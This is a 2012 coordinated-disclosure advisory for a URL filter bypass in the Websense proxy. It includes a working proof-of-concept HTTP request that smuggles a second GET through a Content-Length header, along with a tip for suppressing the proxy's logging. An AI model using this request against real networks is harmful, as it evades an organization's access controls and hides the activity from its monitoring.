Websense Proxy Filter Bypass
1. Advisory Information
Date published: 2012-11-25
Vendors contacted: Websense
Release mode: Coordinated release (Vendor was notified)
2. Vulnerability Information
Class: Filter Bypass
Remotely Exploitable: Yes
3. Software Description
Internet access management system allows an organization to monitor, report and
manage internal Internet use.
4. Vulnerability Description
An authenticated user could successfully bypass URL restrictions and access
unauthorized sites.
5. Vulnerable packages
All – No patch available yet
6. Technical Description - PoC
It's possible to bypass the proxy filter by issuing the following specially
crafted request:
====
GET www.facebook.com http/1.1
Accept: text/Html, application/xHtml+xml, */*
Accept-Language: es-AR
Cache-Control: no-cache
Content-length: 1
GET ://OTHERURL/OTHEROTHER
a
====
And Websense will fetch the Facebook site and log "OTHERURL" (which is also
fetched in the background).
To be completely stealth, just remove “a” char and no log will be recorded.
Limitations: It's only possible to issue GET requests.
It will only work if the remote Webserver accepts malformed GET requests
specifying a Content-Length, like Facebook, Hotmail, Etc. The attacker might
use a WebProxy with this property, completely bypassing the filter.
7. Credits
Nahuel Grisolia discovered this vulnerability.
[email protected]
http://cintainfinita.com.ar
8. Report Timeline
· 2012-04-23 / Vulnerability identified
· 2012-04-23 / Vendor contacted
· 2012-04-23 / Vulnerability details sent to Vendor
· 2012-04-23 -- 2012-11-24 / Multiple contacts
· 2012-11-25 / Vulnerability Disclosed – PoC attached
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